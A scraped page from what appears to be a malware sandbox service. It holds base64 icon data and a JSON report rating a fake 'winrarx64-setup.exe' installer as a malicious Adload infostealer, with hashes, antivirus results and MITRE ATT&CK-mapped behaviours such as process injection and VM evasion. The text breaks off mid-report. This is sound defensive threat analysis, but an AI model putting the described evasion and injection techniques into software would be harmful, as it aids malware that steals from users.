AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAD//////////w==6c:T400,AAABAAEAICAQiwAAAADoAgAAFgAAACgAAAAgAAAAQAAAAAEABAAAAAAAgAIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACAAACAAAAAgIAAgAAAAIAAgACAgAAAgICAAMDAwAAAAP8AAP8AAAD//wD/AAAA/wD/AP//AAD///8AIiIiIiIAMzMzMwAiIiIiIiIiIiIiADMzMzMAIiIiIiIiuyIiIiIzMzMzIiIiIiIiIrsiIiIiMzMzMyIiIiIiIiK7IiIiIjO7uzMiIiIiIiIiuyIiIiIzu7szIiIiIiIiZrtmZiIiImZmIiIiZmZmZma7ZmYiIiJmZiIiImZmZmZmZmZmIiIiIiIiIiJmZmZmZmZmZiIiIiIiIiIiZmZmZkREREREd3cAAHd3RERERERERERERHd3AAB3d0REREREd7t3d0T/iP//iP9Ed3d3d3e7d3dE/4j//4j/RHd3d3d3u3d3RP8R/4gR/0R3d3d3d7t3d0T/Ef+IEf9Ed3d3d3e7d3dm/5mIiJn/Znd3d3d3u3d3Zv+ZiIiZ/2Z3d3d3d3d3d3eImTMzmYh3d3d3d3d3d3d3iJkzM5mId3d3d3cREREREREzMzMzERERERERERERERERMzMzMxEREREREVW7VVVVETMzMzMRVVVVVVVVu1VVVREzMzMzEVVVVVVVVbtVVVURMzMzMxFVVVVVVVW7VVVVETMzMzMRVVVVVVVVu1VVVREzMzMzEVVVVVVVVbtVVVURMzMzMxFVVVVVVXd3d3d3d4iIiIh3d3d3d3d3d3d3d3eIiIiId3d3d3d3AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAD//////////w==6d:T400,AAABAAEAICAQiwAAAADoAgAAFgAAACgAAAAgAAAAQAAAAAEABAAAAAAAgAIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACAAACAAAAAgIAAgAAAAIAAgACAgAAAgICAAMDAwAAAAP8AAP8AAAD//wD/AAAA/wD/AP//AAD///8AIiIiIiIAMzMzMwAiIiIiIiIiIiIiADMzMzMAIiIiIiIiuyIiIiIzMzMzIiIiIiIiIrsiIiIiMzMzMyIiIiIiIiK7IiIiIjO7uzMiIiIiIiIiuyIiIiIzu7szIiIiIiIiZrtmZiIiImZmIiIiZmZmZma7ZmYiIiJmZiIiImZmZmZmZmZmIiIiIiIiIiJmZmZmZmZmZiIiIiIiIiIiZmZmZkREREREd3cAAHd3RERERERERERERHd3AAB3d0REREREd7t3d0T/iP//iP9Ed3d3d3e7d3dE/4j//4j/RHd3d3d3u3d3RP8R/4gR/0R3d3d3d7t3d0T/Ef+IEf9Ed3d3d3e7d3dm/5mIiJn/Znd3d3d3u3d3Zv+ZiIiZ/2Z3d3d3d3d3d3eImTMzmYh3d3d3d3d3d3d3iJkzM5mId3d3d3cREREREREzMzMzERERERERERERERERMzMzMxEREREREVW7VVVVETMzMzMRVVVVVVVVu1VVVREzMzMzEVVVVVVVVbtVVVURMzMzMxFVVVVVVVW7VVVVETMzMzMRVVVVVVVVu1VVVREzMzMzEVVVVVVVVbtVVVURMzMzMxFVVVVVVXd3d3d3d4iIiIh3d3d3d3d3d3d3d3eIiIiId3d3d3d3AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAD//////////w==6e:T400,AAABAAEAICAQiwAAAADoAgAAFgAAACgAAAAgAAAAQAAAAAEABAAAAAAAgAIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACAAACAAAAAgIAAgAAAAIAAgACAgAAAgICAAMDAwAAAAP8AAP8AAAD//wD/AAAA/wD/AP//AAD///8AIiIiIiIAMzMzMwAiIiIiIiIiIiIiADMzMzMAIiIiIiIiuyIiIiIzMzMzIiIiIiIiIrsiIiIiMzMzMyIiIiIiIiK7IiIiIjO7uzMiIiIiIiIiuyIiIiIzu7szIiIiIiIiZrtmZiIiImZmIiIiZmZmZma7ZmYiIiJmZiIiImZmZmZmZmZmIiIiIiIiIiJmZmZmZmZmZiIiIiIiIiIiZmZmZkREREREd3cAAHd3RERERERERERERHd3AAB3d0REREREd7t3d0T/iP//iP9Ed3d3d3e7d3dE/4j//4j/RHd3d3d3u3d3RP8R/4gR/0R3d3d3d7t3d0T/Ef+IEf9Ed3d3d3e7d3dm/5mIiJn/Znd3d3d3u3d3Zv+ZiIiZ/2Z3d3d3d3d3d3eImTMzmYh3d3d3d3d3d3d3iJkzM5mId3d3d3cREREREREzMzMzERERERERERERERERMzMzMxEREREREVW7VVVVETMzMzMRVVVVVVVVu1VVVREzMzMzEVVVVVVVVbtVVVURMzMzMxFVVVVVVVW7VVVVETMzMzMRVVVVVVVVu1VVVREzMzMzEVVVVVVVVbtVVVURMzMzMxFVVVVVVXd3d3d3d4iIiIh3d3d3d3d3d3d3d3eIiIiId3d3d3d3AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAD//////////w==6f:T400,AAABAAEAICAQiwAAAADoAgAAFgAAACgAAAAgAAAAQAAAAAEABAAAAAAAgAIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACAAACAAAAAgIAAgAAAAIAAgACAgAAAgICAAMDAwAAAAP8AAP8AAAD//wD/AAAA/wD/AP//AAD///8AIiIiIiIAMzMzMwAiIiIiIiIiIiIiADMzMzMAIiIiIiIiuyIiIiIzMzMzIiIiIiIiIrsiIiIiMzMzMyIiIiIiIiK7IiIiIjO7uzMiIiIiIiIiuyIiIiIzu7szIiIiIiIiZrtmZiIiImZmIiIiZmZmZma7ZmYiIiJmZiIiImZmZmZmZmZmIiIiIiIiIiJmZmZmZmZmZiIiIiIiIiIiZmZmZkREREREd3cAAHd3RERERERERERERHd3AAB3d0REREREd7t3d0T/iP//iP9Ed3d3d3e7d3dE/4j//4j/RHd3d3d3u3d3RP8R/4gR/0R3d3d3d7t3d0T/Ef+IEf9Ed3d3d3e7d3dm/5mIiJn/Znd3d3d3u3d3Zv+ZiIiZ/2Z3d3d3d3d3d3eImTMzmYh3d3d3d3d3d3d3iJkzM5mId3d3d3cREREREREzMzMzERERERERERERERERMzMzMxEREREREVW7VVVVETMzMzMRVVVVVVVVu1VVVREzMzMzEVVVVVVVVbtVVVURMzMzMxFVVVVVVVW7VVVVETMzMzMRVVVVVVVVu1VVVREzMzMzEVVVVVVVVbtVVVURMzMzMxFVVVVVVXd3d3d3d4iIiIh3d3d3d3d3d3d3d3eIiIiId3d3d3d3AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAD//////////w==18:["$","$L2",null,{"children":[["$","script",null,{"type":"application/ld+json","dangerouslySetInnerHTML":{"__html":"$20"}}],["$","$L21",null,{"initialData":{"schema_version":"1.0.15","sha256":"0d7abf4cfeabb9378134799d455bc6cd6b1ecf8182eaebdb2f265c31deb4d616","overall_status":"SUCCESS","all_analysis_status":{"qsp_status":"SUCCESS","sandbox_status":"SUCCESS","fastscan_status":"SUCCESS"},"verdict":"malicious","threat_score":100,"unified_at_epoch_ms":1790265035801,"unified_at":"2026-09-24T15:50:35.801Z","metadata":{"hashes":{"sha256":"0d7abf4cfeabb9378134799d455bc6cd6b1ecf8182eaebdb2f265c31deb4d616","sha1":"ce5c450236bd4f20dfdae91884fd2ecff97ce3ff","md5":"330122a06ff07116214ee6e544a4da67","sha512":"b9f84cbb86c03a7aba325fc86e8a09754247fb211f073c02fc47f985262705c357bbf4d77dc5f9fa4c410fbc5459d6d748da8325e137bea5686cfff2d9775e71","ssdeep":"98304:FHbqeBAq1toOr4onSgLKJCrJKL4fRxFiRy6xmPWS6+:F7qQ0onSwKJCrUL4Zx4TwPWm","ssdeep_chunks":["98304:FHbqeBA","98304:HbqeBAq","98304:bqeBAq1","98304:qeBAq1t","98304:eBAq1to","98304:BAq1toO","98304:Aq1toOr","98304:q1toOr4","98304:1toOr4o","98304:toOr4on","98304:oOr4onS","98304:Or4onSg","98304:r4onSgL","98304:4onSgLK","98304:onSgLKJ","98304:nSgLKJC","98304:SgLKJCr","98304:gLKJCrJ","98304:LKJCrJK","98304:KJCrJKL","98304:JCrJKL4","98304:CrJKL4f","98304:rJKL4fR","98304:JKL4fRx","98304:KL4fRxF","98304:L4fRxFi","98304:4fRxFiR","98304:fRxFiRy","98304:RxFiRy6","98304:xFiRy6x","98304:FiRy6xm","98304:iRy6xmP","98304:Ry6xmPW","98304:y6xmPWS","98304:6xmPWS6","98304:xmPWS6+","196608:FHbqeBA","196608:HbqeBAq","196608:bqeBAq1","196608:qeBAq1t","196608:eBAq1to","196608:BAq1toO","196608:Aq1toOr","196608:q1toOr4","196608:1toOr4o","196608:toOr4on","196608:oOr4onS","196608:Or4onSg","196608:r4onSgL","196608:4onSgLK","196608:onSgLKJ","196608:nSgLKJC","196608:SgLKJCr","196608:gLKJCrJ","196608:LKJCrJK","196608:KJCrJKL","196608:JCrJKL4","196608:CrJKL4f","196608:rJKL4fR","196608:JKL4fRx","196608:KL4fRxF","196608:L4fRxFi","196608:4fRxFiR","196608:fRxFiRy","196608:RxFiRy6","196608:xFiRy6x","196608:FiRy6xm","196608:iRy6xmP","196608:Ry6xmPW","196608:y6xmPWS","196608:6xmPWS6","196608:xmPWS6+","98304:F7qQ0on","98304:7qQ0onS","98304:qQ0onSw","98304:Q0onSwK","98304:0onSwKJ","98304:onSwKJC","98304:nSwKJCr","98304:SwKJCrU","98304:wKJCrUL","98304:KJCrUL4","98304:JCrUL4Z","98304:CrUL4Zx","98304:rUL4Zx4","98304:UL4Zx4T","98304:L4Zx4Tw","98304:4Zx4TwP","98304:Zx4TwPW","98304:x4TwPWm"],"imphash":"573bb7b41bc641bd95c0f5eec13c233b"},"file_info":{"file_name":"winrarx64-setup.exe","file_type":["compressed","7zip"],"file_type_id":"7zip nsis","file_size":3811822,"is_container_sample":false,"url_analysis":false},"submissions":{"first_seen":1790249548000,"last_seen":1790254142000,"last_multi_scan":1790254142000}},"detections":{"summary":{"verdict":"malicious","score":100,"tags":["urlscanio","infostealer","evasive"]},"stats":{"av":{"malicious_count":3,"suspicious_count":0,"total_engines":26},"attributions":{"malware_families_count":1,"threat_actors_count":0,"campaigns_count":0,"threat_types_count":0,"cves_count":0},"mitre_attacks":{"total":119},"sandbox_signatures":{"informative_count":287,"suspicious_count":18,"malicious_count":19,"total":324},"rule_matches":{"yara_count":0,"sigma_count":0,"suricata_count":0}},"av_detections":{"engines":{"ahnlab":{"name":"AhnLab","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"antiy":{"name":"Antiy","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"aurora":{"name":"Aurora","success":true,"verdict":"malicious","threat_name":"Malware_-10","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"avira":{"name":"Avira","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"bitdefender":{"name":"Bitdefender","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"clamav":{"name":"ClamAV","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"cmc":{"name":"CMC","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"emsisoft":{"name":"Emsisoft","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"eset":{"name":"ESET","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"filseclab":{"name":"Filseclab","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"gridinsoft":{"name":"Gridinsoft","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"huorong":{"name":"Huorong","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"k7":{"name":"K7","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"lionic":{"name":"Lionic","success":true,"verdict":"malicious","threat_name":"Trojan.Win32.Adload.tt1X","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"nanoav":{"name":"NANOAV","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"netgate":{"name":"NETGATE","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"rocketcyber":{"name":"RocketCyber","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"sentinelone":{"name":"SentinelOne","success":true,"verdict":"malicious","threat_name":"high_entropy","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"sophos":{"name":"Sophos","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"tachyon":{"name":"TACHYON","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"trellix":{"name":"Trellix","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"varist":{"name":"Varist","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"viritexplorer":{"name":"Vir.IT eXplorer","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"virusblokada":{"name":"VirusBlokAda","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"xcitium":{"name":"Xcitium","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"zillya":{"name":"Zillya!","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"}}},"rule_matches":{},"attributions":{"malware_families":[{"value":"Trojan.Adload","sources":[{"report_type":"quickscan","report_id":""}]}]},"mitre_attacks":[{"tactic":"Discovery","technique":"System Network Configuration Discovery","attack_id":"T1016","attack_id_wiki":"https://attack.mitre.org/techniques/T1016","identifiers":[{"type":"informative","value":"Contains ability to retrieve internet settings (API string)"}],"sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"tactic":"Defense Evasion","technique":"Abuse Elevation Control Mechanism","attack_id":"T1548","attack_id_wiki":"https://attack.mitre.org/techniques/T1548","identifiers":[{"type":"informative","value":"Contains ability to use security policy setting (API string)"}],"sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"tactic":"Privilege Escalation","technique":"Process Injection","attack_id":"T1055","attack_id_wiki":"https://attack.mitre.org/techniques/T1055","identifiers":[{"type":"informative","value":"Found PE header in memory"},{"type":"informative","value":"Able to inject code into another process (API string)"},{"type":"malicious","value":"Writes data to a remote process"},{"type":"malicious","value":"Creates a process in suspended mode (likely for process injection)"},{"type":"malicious","value":"Calls an API typically used to create a thread in another process"}],"sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"tactic":"Defense Evasion","technique":"ListPlanting","attack_id":"T1055.015","attack_id_wiki":"https://attack.mitre.org/techniques/T1055/015","identifiers":[{"type":"informative","value":"Able to visualize and control listed components (API string)"}],"sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"tactic":"Defense Evasion","technique":"Modify Registry","attack_id":"T1112","attack_id_wiki":"https://attack.mitre.org/techniques/T1112","identifiers":[{"type":"informative","value":"Writes registry keys"},{"type":"informative","value":"Accesses System Certificates Settings"},{"type":"informative","value":"Able to delete registry key/value (API string)"},{"type":"informative","value":"Able to create/load registry keys (API string)"},{"type":"informative","value":"Contains ability to disable/close registry key (API string)"},{"type":"informative","value":"Contains ability to modify registry key/value (API string)"}],"sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"tactic":"Command and Control","technique":"Application Layer Protocol","attack_id":"T1071","attack_id_wiki":"https://attack.mitre.org/techniques/T1071","identifiers":[{"type":"informative","value":"Contains references to network communication API (string)"},{"type":"informative","value":"Contains ability to create a HTTP or FTP session (API string)"},{"type":"informative","value":"Found potential URLs in memory dumps"},{"type":"informative","value":"Calls an API typically used to create a new HTTP request"},{"type":"informative","value":"Contacts server"},{"type":"informative","value":"Contacts domains"},{"type":"informative","value":"Found potential URL in binary/memory"},{"type":"informative","value":"Found potential IP address in binary/memory"},{"type":"informative","value":"Contains ability to communicate with network (API string)"},{"type":"informative","value":"Contains ability to create a new HTTP request (API string)"}],"sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"tactic":"Discovery","technique":"System Time Discovery","attack_id":"T1124","attack_id_wiki":"https://attack.mitre.org/techniques/T1124","identifiers":[{"type":"informative","value":"Contains ability to query machine time"},{"type":"informative","value":"Contains ability to retrieve machine time (API string)"},{"type":"informative","value":"Able to retrieve date formats supported by the local system (API string)"},{"type":"informative","value":"Able to retrieve machine time (API string)"},{"type":"informative","value":"Contains ability to retrieve machine timezone (API string)"}],"sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"tactic":"Execution","technique":"Inter-Process Communication","attack_id":"T1559","attack_id_wiki":"https://attack.mitre.org/techniques/T1559","identifiers":[{"type":"informative","value":"Contains ability to create/connect to a named pipe (API string)"},{"type":"informative","value":"Found named pipe like strings"}],"sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"tactic":"Privilege Escalation","technique":"Account Manipulation","attack_id":"T1098","attack_id_wiki":"https://attack.mitre.org/techniques/T1098","identifiers":[{"type":"informative","value":"Contains ability to modify the user configuration/privilege (API string)"}],"sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"tactic":"Discovery","technique":"Process Discovery","attack_id":"T1057","attack_id_wiki":"https://attack.mitre.org/techniques/T1057","identifiers":[{"type":"malicious","value":"Spawns many processes"},{"type":"informative","value":"Calls an API typically used for taking snapshot of the specified processes"},{"type":"informative","value":"Queries basic information of the specified process"},{"type":"informative","value":"Able to enumerate system processes using native API"},{"type":"informative","value":"Queries process information"},{"type":"informative","value":"Calls an API typically used to determine if process is running under WOW64"},{"type":"informative","value":"Spawns new processes that are not known child processes"},{"type":"informative","value":"Process launched with changed environment"},{"type":"informative","value":"Spawns new processes"},{"type":"informative","value":"Contains ability to determine if process is running under WOW64 (API string)"},{"type":"informative","value":"Contains ability to enumerate process and/or its information (API string)"},{"type":"informative","value":"Able to retrieve/open a process (API string)"}],"sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"tactic":"Discovery","technique":"File and Directory Discovery","attack_id":"T1083","attack_id_wiki":"https://attack.mitre.org/techniques/T1083","identifiers":[{"type":"informative","value":"Contains ability to retrieve path in which Windows is installed (API string)"},{"type":"informative","value":"References Windows file paths for DLLs (possible dropped files)"},{"type":"informative","value":"Touches files"},{"type":"informative","value":"Reads files"},{"type":"informative","value":"Calls an API typically used for searching a directory for files"},{"type":"informative","value":"Touches files in program files directory"},{"type":"informative","value":"Contains ability to retrieve file and directory information (API string)"},{"type":"informative","value":"Contains ability to read files (API string)"},{"type":"informative","value":"Contains ability to enumerate files inside a directory"},{"type":"informative","value":"Able to determine the valid logical drives on the computer"},{"type":"informative","value":"Tries to access non-existent files (executable)"},{"type":"informative","value":"Touches files in the Windows directory"},{"type":"informative","value":"Tries to access LNK files (Windows shortcut)"},{"type":"informative","value":"Able to rename or move file/directory (API string)"},{"type":"informative","value":"Contains ability to enumerate files on disk (API string)"},{"type":"suspicious","value":"Reads configuration files (.ini files)"},{"type":"informative","value":"Tries to access non-existent files (non-executable)"}],"sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"tactic":"Defense Evasion","technique":"Obfuscated Files or Information","attack_id":"T1027","attack_id_wiki":"https://attack.mitre.org/techniques/T1027","identifiers":[{"type":"informative","value":"Contains ability to use Cryptographic classes"},{"type":"informative","value":"Loads the Bcrypt module DLL"},{"type":"informative","value":"Calls an API typically used to convert data from string to binary"},{"type":"informative","value":"Matched Compiler/Packer signature (DIE)"},{"type":"informative","value":"YARA signature match - AES encryption"},{"type":"informative","value":"Contains ability to perform AES/RC4 encryption (API string)"},{"type":"informative","value":"Contains CRYPTO related strings"},{"type":"informative","value":"Able to utilize the Windows bcrypt cryptographic API"},{"type":"informative","value":"Contains ability to encrypt/encode message (API string)"},{"type":"informative","value":"Sample file has high entropy (likely encrypted/compressed content)"},{"type":"informative","value":"YARA signature match – Encryption algorithm"},{"type":"informative","value":"Shows ability to obfuscate file or information"},{"type":"informative","value":"Contains key cryptographic functions (API string)"}],"sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"tactic":"Command and Control","technique":"Web Protocols","attack_id":"T1071.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1071/001","identifiers":[{"type":"informative","value":"Contains reference to Windows internet services (API string)"},{"type":"informative","value":"Contains ability to set options for internet handles (API string)"},{"type":"suspicious","value":"Sends traffic on typical HTTP outbound port, but without HTTP header"},{"type":"informative","value":"Found User Agent related strings"},{"type":"informative","value":"Calls an API used to connect to internet"},{"type":"informative","value":"GETs files from a web server (HTTPS)"},{"type":"informative","value":"Communicates with HTTP web server (GET/POST requests)"},{"type":"informative","value":"Sends GET/POST requests (HTTPS)"}],"sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"tactic":"Privilege Escalation","technique":"Create or Modify System Process","attack_id":"T1543","attack_id_wiki":"https://attack.mitre.org/techniques/T1543","identifiers":[{"type":"informative","value":"Contains ability to retrieve the contents of the STARTUPINFO structure (API string)"}],"sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"tactic":"Defense Evasion","technique":"Encrypted/Encoded File","attack_id":"T1027.013","attack_id_wiki":"https://attack.mitre.org/techniques/T1027/013","identifiers":[{"type":"suspicious","value":"YARA signature match – cryptographic algorithms"}],"sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"tactic":"Execution","technique":"Windows Management Instrumentation","attack_id":"T1047","attack_id_wiki":"https://attack.mitre.org/techniques/T1047","identifiers":[{"type":"suspicious","value":"Contains references to WMI/WMIC"},{"type":"suspicious","value":"Found a reference to a WMI query string known to be used for VM detection"},{"type":"informative","value":"Contains ability to execute a WMI query"}],"sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"tactic":"Discovery","technique":"System Location Discovery","attack_id":"T1614","attack_id_wiki":"https://attack.mitre.org/techniques/T1614","identifiers":[{"type":"informative","value":"Able to query system locale information (API string)"},{"type":"informative","value":"Calls an API typically used to retrieve local language"},{"type":"informative","value":"Contains ability to query the system locale"}],"sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"tactic":"Execution","technique":"Native API","attack_id":"T1106","attack_id_wiki":"https://attack.mitre.org/techniques/T1106","identifiers":[{"type":"informative","value":"Contains ability to retrieve/modify process thread (API string)"},{"type":"informative","value":"Contains ability to execute Windows APIs"},{"type":"informative","value":"Contains ability to retrieve address of exported function from a DLL (API string)"},{"type":"informative","value":"Contains ability to execute an application (API string)"},{"type":"informative","value":"Contains ability to create a new process (API string)"},{"type":"informative","value":"Input file contains API references not part of its Import Address Table (IAT)"},{"type":"informative","value":"Contains ability to find and load resources of specific modules (API string)"},{"type":"informative","value":"Contains ability to create/open files (API string)"},{"type":"informative","value":"Contains ability to load modules (API string)"},{"type":"informative","value":"Calls an API typically used to retrieve function addresses"},{"type":"informative","value":"Calls an API typically used to create a process"},{"type":"informative","value":"Calls an API typically used to find a resource in a module"},{"type":"informative","value":"Calls an API typically used to load a resource in memory"},{"type":"informative","value":"Contains ability to dynamically load libraries"},{"type":"informative","value":"Contains ability to retrieve the fully qualified path of module (API string)"},{"type":"informative","value":"Contains ability to set/get the last-error code for a calling thread (API string)"}],"sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"tactic":"Defense Evasion","technique":"Hidden Window","attack_id":"T1564.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1564/003","identifiers":[{"type":"informative","value":"Contains ability to show a graphical window (API string)"},{"type":"informative","value":"Contains ability to pass information to a window procedure (API string)"}],"sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"tactic":"Exfiltration","technique":"Scheduled Transfer","attack_id":"T1029","attack_id_wiki":"https://attack.mitre.org/techniques/T1029","identifiers":[{"type":"informative","value":"Contains ability to perform scheduled transfer (API string)"},{"type":"informative","value":"Able to perform scheduled transfer (API string)"}],"sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"tactic":"Discovery","technique":"User Activity Based Checks","attack_id":"T1497.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1497/002","identifiers":[{"type":"informative","value":"Able to identify virtual environment by using user activity (API string)"},{"type":"informative","value":"Able to identify virtual environment by using web history"},{"type":"informative","value":"Able to identify virtual environment using user register activity"}],"sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"tactic":"Discovery","technique":"System Information Discovery","attack_id":"T1082","attack_id_wiki":"https://attack.mitre.org/techniques/T1082","identifiers":[{"type":"informative","value":"Contains ability to retrieve the specified system metric or system configuration setting (API string)"},{"type":"informative","value":"Able to discover operating system information (API string)"},{"type":"informative","value":"Able to retrieve geographical location information"},{"type":"informative","value":"Calls an API typically used to retrieve OS information"},{"type":"informative","value":"Contains ability to enumerate objects (Powershell command string)"},{"type":"informative","value":"Contains ability to retrieve the host's architecture (API string)"},{"type":"informative","value":"Reads information about supported languages"},{"type":"informative","value":"Queries volume information"},{"type":"informative","value":"Calls an API typically used to retrieve information about the current system"},{"type":"informative","value":"Able to query volume/memory size (API string)"},{"type":"informative","value":"Contains ability to retrieve operating system version"},{"type":"informative","value":"Contains ability to retrieve volume 